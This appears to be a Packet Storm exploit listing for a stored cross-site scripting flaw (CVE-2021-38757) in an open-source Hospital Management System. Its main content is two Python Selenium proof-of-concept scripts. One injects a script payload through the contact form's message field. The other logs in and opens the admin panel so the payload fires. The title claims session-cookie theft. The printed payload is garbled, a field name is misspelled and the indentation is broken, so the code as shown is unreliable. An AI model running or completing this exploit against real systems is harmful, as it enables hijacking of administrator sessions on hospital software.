

Hospital Management System Cross Site Scripting

Authored by [nu11security](#)

Posted [Aug 18, 2021](#)

Hospital Management System created by kishan0725 suffers from a persistent cross site scripting vulnerability.

tags | [exploit](#), [xss](#)

advisories | [CVE-2021-38757](#)

SHA-256 | [fba4631f14e90d73450defe4cb343ab885a20f7605579117cd8b3616832a11e4](#) [Download](#) | [Favorite](#) | [View](#)

Related Files

Share This

Like

Tw

LinkedIn

Reddit

Digg

StumbleUpon

[Change Mirror](#)[Download](#)

```
# Exploit Title: XSS-Stored PHPSESSID user PWNED on Hospital Management System Vulnerable parameter "txtMsg" on
contact
# Author: nullsecurity
# Testing and Debugging: nullsecurity
# Date: 08.17.2021
# Vendor: https://github.com/kishan0725/Hospital-Management-System
# Link: https://github.com/kishan0725/Hospital-Management-System
# CVE: CVE-2021-38757

[+] Exploit Source:

### POC

#!/usr/bin/python3
# Author: @nullsecurity
# Debug and Development: @nullsecurity
# CVE-2021-38757

from selenium import webdriver
import time
import os

#enter the link to the website you want to automate login.
website_link="
http://192.168.1.3/Hospital-Management-System-master/contact.html"

browser = webdriver.Chrome()
browser.get(website_link)

try:
    ## The Exploit
    browser.execute_script("document.querySelector('[name=\"txtName\"]').value=\"User\"")
    browser.execute_script("document.querySelector('[name=\"txtEmail\"]').value=\"
tarator@abv.bg\"")
    browser.execute_script("document.querySelector('[name=\"txtPhone\"]').value=\"1234567890\"")
    browser.execute_script("document.querySelector('[name=\"txtPhone\"]').value=\"1234567890\"")
    browser.execute_script("document.querySelector('[name=\"txtMag\"]').value=\"nullsecurity<script>alert(document.
.</script>\"")

    ## submit the exploit
    browser.execute_script("document.querySelector('[name=\"btnSubmit\"]').click()")

# Check
os.system("python PoC-CVE-2021-38757-Check.py")

print("The payload for CVE CVE-2021-38757 is deployed...\n")

except Exception:
    #### This exception occurs if the element are not found in the webpage.
    print("Some error occured :(*)")

### Ch3ck

#!/usr/bin/python3
# Author: @nullsecurity
# Debug and Development: @nullsecurity
# CVE-2021-38757

from selenium import webdriver
import time

#enter the link to the website you want to automate login.
website_link="
http://192.168.1.3/Hospital-Management-System-master/index1.php"

#enter your login username
username="tarator@abv.bg"

#enter your login password
password="password"

#enter the element for username input field
element_for_username="email"
#enter the element for password input field
element_for_password="password2"
#enter the element for submit button
element_for_submit="pataub"

browser = webdriver.Chrome()
browser.get(website_link)

try:
    username_element = browser.find_element_by_name(element_for_username)
    username_element.send_keys(username)
    password_element = browser.find_element_by_name(element_for_password)
    password_element.send_keys(password)
    signInButton = browser.find_element_by_name(element_for_submit)
    signInButton.click()

# Check
time.sleep(3)
browser.maximize_window()
browser.get(("
http://192.168.1.3/Hospital-Management-System-master/admin-panel1.php#"))

print("The payload for CVE CVE-2021-38757 is deployed...\n")

except Exception:
    #### This exception occurs if the element are not found in the webpage.
    print("Some error occured :(*)")

-----

# Reproduce:
https://github.com/nullsecurity/CVE-mitre/tree/main/CVE-2021-38757
# Proof: https://streamable.com/6xue3b
# BR nullsecurity
```

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr
Sa					
				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					

Top Authors In Last 30 Days

Red Hat 157 files
Ubuntu 76 files
LiquidWorm 23 files
Debian 21 files
nu11security 11 files
malvuln 11 files
Gentoo 9 files
Google Security Research 8 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)	December 2022
Advisory (79,754)	November 2022
Arbitrary (15,694)	October 2022
BBS (2,859)	September 2022
Bypass (1,619)	August 2022
CGI (1,018)	July 2022
Code Execution (8,926)	June 2022
Conference (673)	May 2022
Cracker (840)	April 2022
CSRF (3,290)	March 2022
DoS (22,602)	February 2022
Encryption (2,349)	January 2022
Exploit (50,359)	Older

File Inclusion (4,165)

File Upload (946)

Firewall (821)

Info Disclosure (2,660)

Intrusion Detection (867)

Java (2,899)

JavaScript (821)

Kernel (6,291)

Local (14,201)

Magazine (586)

Overflow (12,419)

Perl (1,418)

PHP (5,093)

Proof of Concept (2,291)

Protocol (3,435)

Python (1,467)

Remote (30,044)

Root (3,504)

Ruby (594)

Scanner (1,631)

Security Tool (7,777)

Shell (3,103)

Shellcode (1,204)

Sniffer (886)

File Archives

December 2022

November 2022

October 2022

September 2022

August 2022

July 2022

June 2022

May 2022

April 2022

March 2022

February 2022

January 2022

Older

Systems

AIX (426)

Apple (1,926)

BSD (370)

CentOS (55)

Cisco (1,917)

Debian (6,634)

Fedora (1,600)

FreeBSD (1,242)

Gentoo (4,272)

HPUX (878)

iOS (330)

iPhone (108)

IRIX (220)

Juniper (67)

Linux (44,315)

Mac OS X (684)

Mandriva (3,105)

NetBSD (255)

OpenBSD (479)

RedHat (12,469)

Slackware (941)

Solaris (1,607)

[Login](#) or [Register](#) to add favorites

- [Spoof](#) (2,166)
- [SQL Injection](#) (16,102)
- [TCP](#) (2,379)
- [Trojan](#) (686)
- [UDP](#) (676)
- [Virus](#) (662)
- [Vulnerability](#) (31,136)
- [Web](#) (9,365)
- [Whitepaper](#) (3,729)
- [x86](#) (946)
- [XSS](#) (17,494)
- [Other](#)
- [SUSE](#) (1,444)
- [Ubuntu](#) (8,199)
- [UNIX](#) (9,159)
- [UnixWare](#) (185)
- [Windows](#) (6,511)
- [Other](#)



© 2022 Packet Storm. All rights reserved.

Site Links


- [News by Month](#)
- [News Tags](#)
- [Files by Month](#)
- [File Tags](#)
- [File Directory](#)


About Us

- [History & Purpose](#)
- [Contact Information](#)
- [Terms of Service](#)
- [Privacy Statement](#)
- [Copyright Information](#)

Hosting By

- [Rokasec](#)

 Follow us on Twitter

 Subscribe to an RSS Feed